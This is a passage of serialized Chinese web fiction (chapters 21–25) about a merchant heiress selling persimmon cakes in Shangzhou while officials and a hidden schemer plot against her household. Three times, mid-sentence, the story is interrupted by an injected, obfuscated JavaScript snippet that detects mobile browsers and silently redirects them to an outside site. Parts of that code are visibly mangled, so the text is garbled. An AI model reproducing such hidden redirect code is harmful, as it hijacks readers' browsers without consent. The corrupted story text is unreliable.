主位上的知府大人披着一件薄氅,斜靠在扶手上,听着旁边师爷模样的人低声在说:“成记行京城来的长随,今日去了码头,询问那年冬日官仓暂存木料一事。” 知府冷笑一声:“商人的嗅觉倒是灵。” “那姓温的看着不像一般长随。”师爷补充:“说话沉得住气,人也长得体面,怕又是朝里哪位大人的眼线。” “眼线就眼线。”知府不以为意,食指抵在自己的太阳穴:“京城那边盯得住。再说,真要追究起来,我只是个小卒子,先轮不到我。” 他轻轻敲了敲桌面:“但话虽这么说,我们也得给京城里减轻些负担,所以我们这里不能再出‘意外’。” 堂内安静下来。 师爷低声道:“成记行原本已经老实了,如今又突然兴起这个念头,若是让他们真查出官仓的事,怕是其他的帐也要被翻出来。” “他们真以为自己做了个商行,就眼手通天了?”知府慢慢道,“民不与官斗,胳膊拧不过大腿的道理,怕还是要再学一学。哦,身为父母官,我觉得我完全可以教教他们。” 堂外有冷风钻进来。 “他们接下来要再往南走两日,再折进山路。”师爷将地图铺在桌上,用手指在上面轻轻一点:“这里。这一段山路弯多,也坡陡,雨后易塌。”他笑了一下,“若真有石头滚下来,恐怕也是天意。” “天意如此。”知府也笑:“该安排的人,悄悄安排。记住——” “动手的人,不要穿官服。” 知府满意地点了点头。 ## 而此时,辛圭站在商州来往人最多的驿站外,准备收摊。她想到昨日自己错失了可以感受情绪场的大好时机,便主动请缨来卖东西。毕竟是实验负责人,每一个环节都要亲自过问。 “成记行做的?”有个男人问道。 “是。”辛圭摊收到一半,立刻抬头:“成记行商州分号的柿子试验产品第——”她猛然想起“实验”这两个字听上去不太合适做买卖,又硬生生咽回去:“成记行商州分号的柿子新产品。” 男子似笑非笑的看了她一眼:“柿子……实验?” 糟糕,被抓住了! 辛圭瘪了下嘴,眨了眨眼,看向面前的男子。 他穿了一身灰色长袍,样貌清隽,五官干净到没有一笔是多余的,像是用力道刚好的笔,顺着骨骼描画,收得干净利落。唇色偏浅,给人一种脾气很好却隐隐有些疏离的感觉。 拿着柿饼的手指节修长,虎口处有淡淡的一圈旧茧,指尖却有一点很浅的墨色,像是经常拿笔的人。 辛圭下意识去看他的情绪场,不是方启星那样的小星星,也不是温麟趾那样的深山古井,而是一小叠被折得整整齐齐的纸。 每一折都很工整,边缘对齐,纸面平整得近乎苛刻,看上去安静稳妥,辛圭却觉得只要伸手再往里面按一点点,就会“咔嚓”一声陷进去。 【情绪场记录·样本018: 对象:灰衣男子。 形态:一叠折得很整齐的纸。】 辛圭皱了一下眉,总感觉……这人的声音在哪里听过。 21. 第22章 见她没有反应,灰衣男子挑起眉:“怎么,不卖了?” 辛圭猛然回神,立刻说道:“卖!当然卖!您想听介绍吗?我现在非常擅长介绍!” 她说这话的时候太过认真,好像在推销的不是一个柿子饼,而是其他的什么更为贵重的东西。 男子唇角微微弯了一下:“听听。” 他不笑的时候看上去很是清雅,但笑起来嘴角翘起的弧度又莫名带了点邪气,原本应当有些突兀,但在他脸上却巧妙地融合在一起,使整个人多了一丝生动,好像一幅原本就很美的山色图,突然活了起来。 辛圭清了清嗓子,摆出她认为的专业姿态:“这位客官,本店柿子饼本应使用品相完整的柿子,但由于今年天气不好,我们将边角料重新分配资源,生产了味道好、价格低、营养不变的新产品。” 灰衣男子嘴角笑意更重:“所以本来是要烂掉的,现在有了第二次机会?” 辛圭眼前一亮,惊喜道:“你是怎么知道的?这是我今天刚总结出来的。” 男子没答,只是问道:“是你做的?” 辛圭摇头:“这是全体人员努力的结果,我只是……” “只是柿子实验的负责人?” 辛圭忙不迭点头,她觉得这个人简直就像是系统本统,自己怎么想的他都知道。 灰衣男子盯着她看了许久。 他的目光既没有温麟趾那样的压迫感,也不像方启星亮晶晶的,只是静静地落在辛圭脸上,像是在把她的五官一一确认、辨识。 辛圭突然觉得有点紧张。 这个人的情绪场太过安静,纸张叠得整整齐齐,根本看不出来有什么。但她本能地,不想听见纸张撕碎的声音。 灰衣男子拿起一块柿子饼,轻轻咬了一口。 柿子和糯米粉的甜香在舌尖散开,外层焦香,里面软得几乎要在嘴里化掉。 “怎么样?”辛圭期待地问道。 “甜。”男子的语气里听不出夸赞或敷衍,而是很平静地在描述他认为的事情:“但不是柿子本身的甜,是你们努力出来的甜。” 这是辛圭来到新世界后第一次听到这样的话。 她认真记录: 【新世界感官记录011: 第一次被陌生人肯定努力。 症状:胸口发胀、耳朵温度升高、情绪稳定度显著提升。】 “柿子酱也有?”他问。 “有!”辛圭像被点燃了一样,赶紧从竹篮下摸出一个小瓷瓶,报上价格。 男子接过瓷瓶掂了掂重量,眼底有一丝笑意闪过:“那柿子饼四份,柿子酱两罐。” “咦,你怎么知道我就剩下这么多东西了?”辛圭一边装东西一边说道。 “或许这就是缘分,就好像我在哪里见过你一样。”男子意有所指地说道:“但肯定不是在成记行。” 辛圭没有听出他的言外之意,反倒很坦诚地回答:“我也觉得你的声音听上去很耳熟,但我就是想不起来了。” “哦?那或许我们之后还会再见。”男子笑笑,接过东西转身离去。 夕阳西下,浓烈的光线从他肩上掠过,照亮了耳边一点点的红,好似一颗宝石耳钉在熠熠生辉。 “看什么呢?”方启星走到辛圭身边,帮她收摊:“走了,天都要黑了。” 辛圭又看了一眼灰衣男子离开的方向,对方的背影已经没入人群,再看不见了。 方启星胳膊夹着木牌,手里拎着各类物件,长叹一声:“做生意太累了,我感觉我还是适合做个闲人。” “你今天就不是闲人,”辛圭严肃纠正:“你是销售负责人。” 方启星笑道:“那负责人是不是也应该有负责人奖励?” “奖励?”辛圭认真思考了一下:“确实应该有奖励,我和杜掌柜说,给你加——” “我不要银子。”还没等她说完,方启星就打断了她。 辛圭好奇:“那你要什么?柿子饼?” 方启星侧头看她,李成圭个子刚刚到他的肩膀,身形也小小的,此刻怀里抱着一大堆东西走路,显得有些笨拙,但却笨拙的可爱。耳朵肤色原本就白,此刻被夕阳一照,像是能穿透似的,泛着清淡的粉。 他突然觉得嗓子有点干,又抬头看天,状似随口说道:“我想想,等我想好了告诉你。” “好。”辛圭答道。 方启星本来想问“要什么都可以吗”,又觉得说出来矫情,也不知道辛圭会怎么回答,便咽了回去。 可咽回去后反倒觉得自己变得越来越奇怪,有些话以前说出口毫无负担,现在却像是有重量了似的,卡在心里,无法轻易说出。 等到两人回到成记行时,后院已经亮起了灯。 柿子饼摊了一张又一张,柿子酱罐子整齐码在案上。妇人和伙计边收边聊,刘掌柜则抱着账本在计算。见辛圭回来,七嘴八舌地说: “小姐回来了!” “卖出去多少?” “热不热?累不累?” 辛圭捧着竹盘,脸上喜气洋洋:“全部卖光了!还遇到一个很特别的客人。他说柿子饼甜,是咱们大家努力的甜!” 方启星立刻竖起耳朵:“男的女的?” “男的。” 方启星凑到她面前:“长得有我好看吗?” 辛圭将记忆里灰衣男子的样貌和方启星的样貌做了对比,给出中肯的评价:“都好看,是不同类型的好看。” 方启星的脸瞬间垮了。 辛圭把东西放好,又跟着院落里的人一道收拾东西,毫不知情地继续说道:“他很厉害,竟然能把我刚总结出来的话说出来。还说我们有缘分,以后还会再遇见呢。” “呸呸呸!”方启星皱着眉:“这话一听就是什么花花公子哥纨绔子弟,出来骗小姑娘的。成圭你以后遇到这个人,或者类似的人,绝对不能理他们,心眼坏着呢!” “什么类似的人?”辛圭疑惑,怎么能通过一个人来总结一类人呢?实验数据不够,是不能支持结论的。 “就是那种一见面就好像和你很熟的人,这种人多半不是什么好东西。” “啊。”辛圭看着方启星,眨了眨眼睛:“我拒绝你说自己不是好东西。” “噗。”杜掌柜在边上没忍住,笑出声来。他早就听闻过这两位长随初次面试的事情,自然也知道方启星第一次来就对自家小姐十分热情。 “我……”方启星显然也想到了,他叹了口气:“我不一样,我是一片赤诚之心,不耍心眼。” “哦——”辛圭默默记在心里:【新世界人际关系记录018:同样的行为在不同的人那里,会有不同的解释。 推测:和情绪场类型相关。】 毕竟方启星当时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837309|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪场小星星是亮了的,但今天这个人却没有任何变化。 温麟趾才回来没多久,衣襟上还沾着夜露,听到这里突然开口:“小姐,该换药了。” 刘掌柜也在旁边笑着说:“小姐快去歇歇吧,忙活了一整日。” 辛圭这才乖乖跟着温麟趾回了房间。 屋内点着一盏灯,光线柔和,桌上放着刚送来的茶水,散发着淡淡清香。 辛圭一进屋,就从怀里掏出一个小荷包,利索地倒在桌上。叮叮当当,铜板混着碎银子在互相碰撞,在桌面上滚来滚去。 她把钱分成几小堆,在温麟趾给自己换药的同时,仔细清点。 “要用银子?”温麟趾知道这是出门前,德明帝塞给她的。 “嗯。”辛圭回道:“我想算算能买多少边角料柿子,能买多少糯米粉,能卖多少盐和糖,还有能雇几个人干活。” “你是打算拿自己的零用钱给成记行补窟窿?” “不是补窟窿,是……是自主投资!”辛圭找到一个她觉得很恰当的词,说道:“我们不能一直停留在商州,柿子每天收每天卖也来不及,它们烂得太快了。所以我想可以多收一点,就算成记行当天处理不过来,也可以先晒干一部分,再雇人处理。这些柿子饼和柿子酱不占地方,如果能跟着商队塞个缝儿卖,也不需要单独的运输成本。如果亏了,也是我自己的银子。” 她说完,小心翼翼地抬头看温麟趾,像是在等待他的意见。 温麟趾沉默了一瞬,随后道:“理论上,你可以这样做。” 辛圭眼睛一亮。 “但实际上,我并不看好。” “为什么?”辛圭下意识问。 “这些东西送到各处之后,需要人力心力去出售,而它们本身的价值,可能根本不足以支撑这些。”温麟趾看着她,把话说的很慢:“你不是一个人跑出来做实验的,你是成记行的小姐,你说的,他们就算不愿,也被迫去做。” 辛圭愣住,她低头看桌面,原来还挺有安全感的一小堆钱,突然变得有点轻飘飘的,好像微不足道了起来。 温麟趾看她的神情从期待变成落寞,心突然软了下来,自己是说得太过分了吗? 他默默叹了一口气,又说:“还有,你以后不要自己出去摆摊,这点我也会和杜掌柜说清楚。” “为什么?” “思交镇那批木材的事,大概已经惊动了该惊动的人,第一次挟持是他们的警告,至于下一次,可能就会换成别的、更严重的伎俩。” 辛圭想起刀贴在自己脖子上的冰冷,下意识缩了缩肩膀:“可是你去查官仓的事,不是更危险吗?” “所以我去。”温麟趾平静道:“你留在这里,看柿子,看账,做你想做的实验。” 辛圭张了张嘴,她想说点什么,想反驳点什么,最后还是小声说:“好。” 【新世界身份记录004: 别人眼里的“我”=成记行小姐。 自己理解的“我”=做实验的人。 当前状态:两者似乎不是一个人,有各自的被要求标准。】 “零用钱先收起来吧。”温麟趾看向桌上的铜板,语气缓和下来。 ## 夜深了,成记行分号的灯一盏一盏熄下去,后门被轻轻推开,方启星走出成记行,左右看了看,确认无人之后,迈入了黑夜之中。 22. 第 22 章 商州一家小酒馆灯火仍是热闹,窗纸被雨后潮气打得有点发皱,扑簌着将灯影搅散。 包间不大,一张方桌,两只茶盏,桌上没有菜,只有一壶看不出好坏的热茶氤氲。 窗边坐着一个人,灰衣,长袍,撑着下巴向窗外看,眼尾的余韵似是能连接月下江水,逶逶迤迤。 门“吱呀”一声被推开,方启星走进来,身上的外袍随意披着,走两步摊在椅子上,嘴里还没忘记抱怨:“下次能不能找个讲究点的地方?上次是在京城郊外,这次连点酒菜都没有。” 陆居平回头看他,好整以暇地:“当长随的感觉怎么样?” “好得很。”方启星捏了捏自己的肩膀:“这辈子没熬过这么多柿子。” 陆居平垂下视线,为自己倒了一杯茶,淡声道:“我还以为你累得要走不动路了呢。” “那可不行。”方启星抿了下唇:“你这点破事儿,没我帮着,就你自己也不好办。” 陆居平的唇角微不可见的挑了挑:“破事儿?”说罢,他像是自嘲一般:“是啊,是破事儿。被你们成记行大小姐给轻松破解的事儿。” 方启星皱起眉:“成圭怎么了?” 陆居平从案台下拿出一个纸包:“我本来是想借商州柿子这事儿,点一把火。柿子砸下来,收成没了,怨气大了,自然要找人出气。结果你们成记行的大小姐半路跳出来,把烂柿子收走,做成饼,熬成酱,又卖了出去。” 他将纸包里的东西一一取出,是下午从辛圭那儿买的柿子饼和柿子酱。“既然没有好的下酒菜,尝尝这个也不错。”陆居平将东西往方启星面前推了推:“是自己做的,尝尝。” 方启星摊手:“这不挺好吗?起码今年不会有人把账算到柿农头上。” “挺好。”陆居平承认:“对他们是不错。” 他侧头,看向窗外一角暗淡的天空:“对我们,却不好。” 一时间,屋内安静了下来,只能隐约听见江水流淌呜咽的声响。 过了一会儿,陆居平才慢慢补了一句:“不过也不是坏事。” 方启星:“嗯?” 陆居平淡淡道:“成记行因此,招牌变得更亮了,若是能握在手里,比十座城的风向还有用。” 他顿了顿,指尖轻轻叩响桌面:“而能握住成记行三个字的,不是杜掌柜,也不是吴掌柜,更不应该是李老爷。而是……” 方启星叹了口气:“是李成圭。这个之前我们就已经说过了。” 陆居平笑了笑:“所以,按照我们原本的计划,你们发展的怎么样了?” “嘶——”方启星抢过陆居平的茶盏,猛灌了一口:“我觉得温子修有问题。” “我和你说李成圭,你对我讲温子修。”陆居平的手悬在空中,无奈道:“好,随你,我们先说温子修,他怎么了?” “他很奇怪。”方启星说道:“说话做事,都太稳,不像落魄书生。而且,他握刀,比拿笔更稳。” “嗯。”陆居平说道:“他白天去码头了,想来应该已经确认商州府衙有问题,不过苦于没有证据。” “你要送他证据?”方启星突然意识到什么,着急道:“这么说你早就知道思交镇的人收到府衙挑唆,去袭击成圭的事儿,却一点没给我透气?” “这我真的不知道,我又不是千里眼顺风耳,什么事情都知道。”陆居平一摊手,状似无奈:“不过证据就在路上,到时候也能试出这温子修到底有什么能耐。” “什么证据?”方启星问道。 陆居平笑笑:“别怪我没提醒你,出了商州往南走的山路上,多加留神。一来别让自己受伤,二来或许可以英雄救美,三来……”他做了个噤声的手势:“记得保密,别让人看出你早就知道,否则可是很容易被打成府衙同伙的。” 方启星捂住眼睛,“啊”了一声,又伸手揉了揉头发,短叹一声:“是府衙派的人,对吗?” 陆居平歪头:“不然你以为是我?” “我以为,我以为你想推动我和成圭……”方启星有些不好意思说出口。 陆居平蹙起眉,却没有丝毫生气的意思,只是觉得有趣:“从你一进门,就一直成圭成圭的在叫。我怀疑你可能要先动心。” “我没有。”方启星坐直,严肃说道:“我是那种路边发情的野狗吗?这才几天我就动心?她凭什么让小侯爷我动心?” “是是是,小侯爷从小就受女孩子欢迎,我们都知道,不然也不会把这么重要的任务交给你。”陆居平像在安抚小孩儿似的,“而且呢,小侯爷也知道咱们的破事儿,所以宁可牺牲自己,也会好好完成任务的,是不是?” 方启星一听他的话,更是又气又急:“我这全是为了……哎!但是不管以什么原因,我觉得用这种手段去骗个姑娘家就是不好。” 陆居平身子回撤,靠在椅背上看向方启星,冷脸说道:“这是你们家欠我的。你们那时候怎么不提仁义道德?到了别人那里突然就变成了守矩君子?” 方启星再次闭上眼睛,咬紧牙关,过了半晌,他再睁开眼睛时,已经沉着下来,只是淡淡说道:“我希望你说到做到。” “当然。”陆居平又露出笑容,举起手中的茶盏:“为了我们的破事儿。” —————— 方启星回到成记行的时候,从后院绕回厢房,忽然看见辛圭站在走廊口,披着外衣,柔顺的头发披在肩头,像只刚从窝里探出头的小白猫,可爱柔软,让人忍不住想上去揉一把。 “你怎么出来了?”他走上前去问道。 辛圭歪着头靠在廊柱上,眼里有一丝郁结,她看见方启星衣襟下摆有些湿润,问道:“你出去了?” 方启星随口扯谎:“夜里太闷,出去透透气。” 她仍盯着他看,方启星心虚地强调:“真的,只是出去散步。” 辛圭伸手扶上方启星的胸,果然跳得很厉害,她开口道:“你很奇怪。” “我,我哪里奇怪?”方启星不由得后退半步。 【情绪场记录·样本005补充: 表现:星星不见了。 具体表现:夜间散步,心跳加速。 猜测:疑似隐瞒?】 “你有事情瞒着我?”辛圭歪头。 方启星喉结滚了滚,他刚想说“没有”,又觉得这个“没有”说出口,要比刚才在酒馆里,陆居平说的那些话还要混账。 他别开视线:“我,我也有自己的生活,当然不会所有的事情都告诉你。” “哦。”辛圭点了点头,貌似接受了这个结论。 方启星嘴唇微颤,他紧紧咬住下唇,生怕自己下一个瞬间就控制不住。 “那你可以告诉我,你为什么会不开心吗?”辛圭认真问道。 廊下的灯火昏黄,落在她眼睛里,很亮很亮。 方启星被她这么看着,心里一寸一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841898|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦涩进去,最后只得抬手遮脸:“成圭,你别这样看着我。你好像,要看到我心里去了。” 他深吸一口气,强行把话题岔开:“我只是出去走了走,想事情,你别多想。” “哦。”辛圭点头:“那你想到了什么?” “想到了……”他一时语塞。 脑子里全是“欠债”、“利用”、“起事”、“不要骗她”这些词,哪一个说出来都不合适。 方启星索性咬牙硬撑:“想到了你今天说过的话。你说,柿子本来是要烂掉的,”他看着她,眼神忽然认真起来:“你有没有想过,有时候人也差不多?” 辛圭愣了一下,摇头:“人是不会烂掉的。” “会的。”方启星苦涩地笑了一下:“有的人已经烂了一半,却还假装自己好好的。” “人烂了……”辛圭思考人烂了到底会是什么样。 “人不是柿子,烂柿子可以做成柿子饼柿子酱,人不配,人烂了就会一直烂下去,烂成一摊泥……”他像是在发泄,想要一口气儿说出来。 辛圭突然伸手,捂住了他的嘴。她摇了摇头:“你现在很不稳定,深呼吸。” 方启星深吸了一口气,是柿子的甜香和她身上的馨香混合在一起,顺着他的每一次呼吸,纳入每一条流动的血液。 无法冷静,无法稳定。 不知道是哪个瞬间,他突然伸手,将她一把搂进怀里。 力道并不重,却极紧,像有什么东西快要从指缝里漏出去,只能用力抓着。 “方启星?”辛圭愣住了。 他的下巴搁在她肩上,声音压得发哑:“你就当……我今天烂得厉害一点。” 很多话堵在舌尖—— 求你……别讨厌我。 求你……哪怕有一天知道真相,也给我留一点活路。 求你…… 但最后,他只咬着牙,把那些话尽数吞回去。 辛圭抚上他的背,犹豫了一下,试探着轻轻拍了几下:“那你现在情况有缓解吗?” 【新世界触碰记录001: 对象:样本005。 行为:主动拥抱+靠肩。 伴随现象:心跳过快,体温升高,语速降低。 初步结论:严重情绪波动时,人类会寻求近距离接触。】 过了不知道多久,方启星才放开她。 他几乎是逃一样地往后退,火速转过身去,嗓子有些嘶哑:“你记着。” “记什么?”辛圭还在琢磨刚才那几下拍背的力度要不要写进记录里。 “以后不管谁让你做什么,不想做的,就不要做。”他背对着她,语气慢慢沉下来,“你自己愿意做的,才算数。” 辛圭抬头看他,眼里还带着一点认真做笔记的神色:“这也是商州的规矩吗?” “是任何地方、任何时候的规矩。”方启星回答。 廊下的风很轻,吹动她的发梢,也吹动他松垮的外袍。 她点了点头:“我会记好的。” —— 回房之后,辛圭又在记录当中添了一行小字: 【新世界人际记录020: 有的人嘴上说“你自己愿意做的才算数”, 推测:是在提醒我——以后不要只听别人的安排。】 写完,她犹豫着加了一句更小的字: 【附录:样本005拥抱时的心跳,很吵。】 23. 第 23 章 即便收成不好,日子却仍要过。 江面上泛起第一道阳光的时候,商州的街道便开始热闹起来,卖烙饼的、卖糊糊汤的、等待出行的脚夫、码头上的纤夫……热气、叫卖、油香,一切都混在水雾之中,和商州烙印在同处。 辛圭看着往来的人,听着小小的话题,闻着混杂的气息,突然有了种奇怪的想法。 【新世界环境手册028: 光忆星:城市是一棵树,我们是叶子。没有了叶子,树还是树。 新世界:城市是一本书,人们是字。没有了字,它就变成了本子,不再是书。】 她低头看向自己手里的小本本,上面写着: 【柿子专项实验·版本v1.1日度总结: 发现问题:1.边角柿子消耗速度<柿子烂掉速度。 2.负责人离开商州后,柿子供给中断,实验无法继续。 结论:如果只按原定计划做两三日就离开,对柿子们很不公平。】 她看着最后一行,迟疑了一下,又加了一句: 【附注:样本005建议:不想做的,就不要做,你自己愿意做的,才算数。】 那句话好像还停在耳边,伴随着样本005鼓噪的心跳声,一起萦绕在她的耳边。 辛圭深吸一口气,合上小册子,又回头看了一眼街巷,快速地跑回成记行。 伙计们很早就起来洒扫,刘掌柜抱着账本,低声和账房商议着什么。 “刘叔!” 众人闻声回头,看见李成圭今日穿得极规矩,袖子却挽得老高,腰间系着一根绳,把衣襟归置得干净利落,好像一个要上阵干活的小工。 “小姐起得真早,”刘掌柜笑。 辛圭快走两步到刘掌柜身边:“刘叔,我有件事儿需要麻烦您。” “提什么麻烦不麻烦的,”刘掌柜转身,“怎么?” 辛圭抿紧双唇,深吸一口气,缓声说道:“从今天起,成记行在商州收购边角柿子的数量,要翻倍。” “翻、翻倍?”账房在旁差点把算盘珠子拨飞:“昨天前天都收了快六百斤,再翻倍,那就是……” “上限一千二,”辛圭掏出一张纸,上面写满了她计算的痕迹:“从今天起,一直收,只要有边角柿子,就尽量收。” 堂里一下安静了。 刘掌柜的笑容僵在脸上:“小姐,这个玩笑,可不太好笑。” “我没有开玩笑,”辛圭认真地说:“之前只是试验,既然证明路径是可以的,就不应该仅仅停留在试验上。” 她递过那张纸:“我已经算好了,可能和具体实施起来还有出入,因为我们还需要雇人来做柿子饼和柿子酱,还有储存费用等等,刘叔可以帮我看看。” 说罢,她从怀里掏出那个装钱的小荷包,“哗啦”一声倒在柜台上。 “用我的银子。”辛圭挺直肩膀:“我多预留了一些费用,一来是应急,二来是给刘叔的。” “给我的?”刘掌柜讶异。 辛圭郑重点头:“给项目执行人的费用。” 刘掌柜被吓了一跳:“小姐,这怎么行?!” 温麟趾恰从廊下走进来,听到两人对话,眉头不由得皱紧。 他走到她身旁,目光落在柜台上,又看向她:“我以为昨晚我说的很明白。” “我知道。”辛圭已经和刘掌柜说出口,如今便只想一股脑儿往前冲,反倒坦然:“你说过,这笔买卖从商行角度来看,不合算。” “所以你还要坚持?”温麟趾问。 辛圭攥紧袖角,重重地点了一下头:“是。” 刘掌柜在旁看着辛圭写得那张纸,一行一行算得清清楚楚,确认会发生的、可能会发生的、预料不到的等等,代表的是她真真正正的想把这件事做好的一颗心。 辛圭看着温麟趾,声音很坚定:“我想过了,‘我必须要做的事’不是在商州呆两天,做个名字叫试验的小游戏就离开。如果我连自己愿意做想做的事情都不去争取,那我来这里,甚至接下去,也只是在重复别人的决定。” 温麟趾怔了一下。 他原本想说“你再想一想”,可这五个字却忽然像针一样扎回自己心里。 这不是劝,而是规训。 是昔日里无数人曾对他说过的“最佳解决办法”,而他竟然在不知不觉中替别人去重复。 他闭了闭眼,第一次意识到,或许真正需要学习的人,不是李成圭,而是他自己。 堂里的空气渐渐从绷紧,变成了某种介于紧张与振奋之间的微妙状态。 刘掌柜见状,叹了口气,先做妥协:“那也不用翻到一千二,先到八百,总得给小姐的私房钱留条退路。” “就一千二,”辛圭固执地说:“柿子们没有退路。” 话一出口,她自己都吓了一跳。 无论是刘掌柜还是温麟趾,他们都有经验有能力,按照光忆星的情况,自己应该无条件地接受他们所有的建议和行动。但自己好像…… 她感受着自己的心跳,最开始开口的时候还很害怕,跳得很厉害,现在,它反而慢慢平缓下来,变得很稳定。 新的告示,很快就挂在了成记行门口。 【成记行代行购入·柿子收购告示第二版: 一、继续收摔坏、边角、卖不出的柿子。 二、当日收购上限:一千二百斤。 三、当场结款,拒绝以次充好。 样子不好,味道好。 要烂地里的柿子,请先来成记行。】 人群很快又聚拢过来。 那名妇人挤到前头,手里提着一筐:“今天怎么收得比昨日多了?不是处理不过来吗?” 辛圭笑着接过她的筐:“今天收,明天也收。” 妇人抬头看了看告示,念叨:“怎么还是代行购入?” “就是我自己花钱买。”辛圭解释:“成记行能加工的那一部分,算在成记行账上。来不及处理的边角柿子,只要干净,我个人收下来,晒干,或者慢慢想办法——总比烂地里强。” 妇人怔了一下,看着她的眼神一下就变了。原本是看着“大小姐来试试玩玩”的眼神,现在多了几分当真。 “你这小姑娘……”她吸了吸鼻子,“讲什么私人账啊,我们这些卖柿子的,认的就是一个理儿。你能收,便是天干地裂里给我们多留一条缝。” 她说着,把筐往前一推:“今天的,按你说的两文一斤。你们就那么几个人,肯定忙活不过来,我再多叫几个来帮忙。” “好。”辛圭停顿,认真说道:“只能叫六个,我算过账的。” 妇人笑得更厉害:“你呀。放心吧,你帮我们,我们又不是不知道,也会帮你的。” 成记行的后院再次忙碌起来。 新添了两口锅熬酱,两堆炭火做饼,廊下新搭了几排竹架,专门晾晒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846297|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被切成条的柿子。 刘掌柜一边算账,一边嘴上嘟囔:“平日里我总觉得咱们后院太大,如今一看,小了,满满当当都是人。” 辛圭用袖子抹一把头上的汗,笑:“咱们比市集还热闹呢。” “你这丫头。”刘掌柜摇头,却不再反对:“等你回了京城总号,可别把我们这些老掌柜都踢下去。” 辛圭心里突然有种说不出的怪异感——好像她脚下的路,悄无声息地多出来一条,那不是别人铺好的,而是她自己踩出来的。 【新世界职业理解001: 原本以为小姐的工作是被照顾、被安排。 现在初步观察——小姐的职业,可能还包括“做决定”。】 收购持续了三日,商州人很快就习惯了成记行门口那块牌子。有柿子的人会第一时间提着新鲜干净的柿子来送,没柿子的人也会停下来瞄一眼,嘴里念叨:“成记行今年积德了。” 而成记行后院的竹架,也从一开始空荡荡的一排,变成铺满一层层橙红。 柿子饼被送到驿站、码头、小茶肆;柿子酱则跟着车夫、脚夫一路往外走,连带着“成记行柿子饼”的说法,也被一路带出商州。 刘掌柜看着自己的账本上写的当季总结,最后一行写着“若有灾年,此法,可以再行”,这是他斟酌再三才加上去的。 临走那天,天刚蒙蒙亮,成记行门口就围了一圈人。 有人送来最后一筐边角柿子,有人想要进些柿子饼去其他地方卖,热热闹闹,而有些人,却是要离开。 那名妇人往辛圭手上塞了两块干馍:“自己家做的,路上吃。” 她不放心地又在衣服上擦了擦手,这才去握辛圭的手:“你以后要是还来商州,我带你吃最好最甜的柿子。” 辛圭郑重点头:“会的。” 【新世界承诺记录001: 第一次被人要求“记得再来”。】 马车在成记行门口等候,杜掌柜最后整理了一下行程:“离开商州后,往南走一天山路,再走两天水路,就是下一站了。木材的事儿,暂按温长随的意思,先查再说。” “下一站是哪儿?”辛圭问。 “登州。” 温麟趾已经上了马车,神情一如既往地平静。 方启星脚踩着车轮,心不在焉地把缰绳绕来绕去。 “走啦!”辛圭从马车里探出头,冲他招手:“销售负责人,工作时间到了。” “得嘞。”方启星用力一抖缰绳,硬是把心里的不安压回去,挂上惯常的笑:“保证把你做的烂柿子都卖出去。” 马车缓缓启动,车轮碾过商州的砖路,发出“咯哒咯哒”的声响。 城门口,柿子树还挂着残余的零星果子,颜色不那么亮了,却还倔强地撑在枝头。 辛圭掀开车帘,回头看了一眼——商州城渐渐远了,成记行的招牌在晨雾之中变成了一个小点。 她写下了这趟在商州的最后一条记录: 【新世界决策记录009: 第一次坚持自己的决定。 结果:未知。 感受:有一点怕,但不做会后悔。】 最后,她又在旁边添了一行小字: 【附录:离开的时候,商州的风,闻起来还是甜的。】 马车出了城,朝南而去。 前方山路弯弯,云影压得很低,看上去,风平浪静。 24. 第 25 章 往南走了两日,马车转入山坳。两侧石壁逼仄,野草从缝隙中探出头,享受着被云层打磨到发灰的日光。 山壁上偶尔有棵孤零零的柿子树,似商州的余韵。 “怎么?”方启星见辛圭盯着树出神,不由得打趣道:“你不会连这里的柿子都想一起收走熬酱吧。” 辛圭摇头:“这里的柿子树不是给人吃的,是给小鸟、虫子准备的。” “按你这么说,好像所有东西都有自己应该做的事。”方启星看了眼山壁,抿住双唇。 “理应如此。”辛圭想起光忆星,每一个人都有自己的位置,每一个生物都有自己存在的意义,甚至每一场风雨都是如此。如果没有,那么它就理应被剔除。 一切都很有条理,也因此,一切都很稳定。 “但好像,又不应该这样。”辛圭补充一句,把帘子放下。 马车继续前行,山里风不大,却和京城、商州的酷热完全不同,冷得钻骨头。车轮碾过石子,发出一声声干涩的“轻咳”。 温麟趾看着外面的路况,对车夫说道:“大概再行半刻钟,慢些,前面路窄,还有急转,车轮容易卡住。” “好咧。”车夫应了一声,拉了拉缰绳,侧头说道:“你对这片路比我还熟得嘞。” 温麟趾回道:“以前走过几次。” 以前带兵走过、探路走过、出仕走过,一条路走过几个轮回,怕是不想记,也忘不掉。 方启星轻微挪向辛圭,陆居平那句“山路上多加留神”像被雨泡过的纸,淋得湿漉漉的,展也展不开。 “怎么了?”辛圭问他。 